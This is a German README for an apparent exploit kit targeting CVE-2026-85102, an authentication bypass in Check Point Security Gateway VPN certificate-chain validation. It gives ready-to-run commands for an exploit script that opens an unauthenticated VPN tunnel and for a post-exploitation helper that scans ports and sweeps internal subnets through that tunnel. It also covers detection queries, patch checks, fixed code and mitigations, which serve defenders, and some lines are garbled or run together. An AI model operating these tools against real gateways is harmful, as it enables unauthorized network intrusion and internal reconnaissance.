
Authentifizierungsumgehung und Remote-Code-Ausführung in Fernzugriff- und Site-to-Site-VPN
Nutzt CVE-2026-85102 aus, um einen nicht authentifizierten VPN-Tunnel auf einem Check Point Security Gateway einzurichten, indem die IKE-Zertifikatskettenvalidierung umgangen wird.
Offizieller Check Point Advisory: sk1000117
Produkt: Check Point Security Gateway, Check Point Spark Firewall
Betroffene Versionen: R81.20, R82, R82.10 (vor Bundle T24), R80-R81.10 (alle EoS)
Nicht betroffen: R82.20
Komponente: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Ursache: IsChainTrusted() ruft CanonizeChain() auf, ignoriert jedoch dessen Rückgabewert. Selbst wenn die Kanonisierung der Kette fehlschlägt, gibt die Funktion TRUSTED zurück.
Ausnutzung: Ein Angreifer kann:
CanonizeChain() auszulösenCVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (ip-Befehl), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| Parameter | Beschreibung |
|---|---|
<target_ip> | Check Point Gateway-IP |
-u <username> | VPN-Benutzername (Standard: testuser) |
-l <local_ip> | Manuelle lokale IP für Systeme mit mehreren Schnittstellen |
-c <cert_host> | Alternativer Host für die ICA-Zertifikatsextraktion |
--cleanup | Tunnelkonfiguration entfernen |
Überprüfen Sie die Protokolle auf anomale zertifikatsbasierte Mobile-Access-Anmeldungen. Gehen Sie in SmartConsole/Spark Management zu Logs & Monitor / Logs & Events und suchen Sie nach Ereignissen nach dem 12. September 2026:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
Prüfen Sie Ereignisse auf nicht erkannte Benutzer, Clients oder Quell-IP-Adressen.
Verdächtige beobachtete Zertifikatssubjekte:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalInstallieren Sie LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE):
Validieren Sie die Installation:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
Der Fix modifiziert libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
Deaktivieren Sie implizite VPN-Regeln und definieren Sie den VPN-Zugriff für UDP/500 und UDP/4500 manuell für bestimmte Peer-IP-Adressen. Siehe sk179346.
Deaktivieren Sie implizite Regeln für Remote-Access-VPN. Erstellen Sie explizite Access-Control-Regeln, die die erforderlichen Remote-Access-VPN-Dienste für das Security Gateway zulassen:
Hinweis: Diese Gegenmaßnahmen sind nicht auf lokal verwaltete Spark Firewalls anwendbar.
Dieser Exploit-Code wird für Zwecke der Sicherheitsforschung und -tests bereitgestellt. Verwenden Sie ihn auf Ihren eigenen Systemen oder mit ausdrücklicher Genehmigung des Systemeigentümers.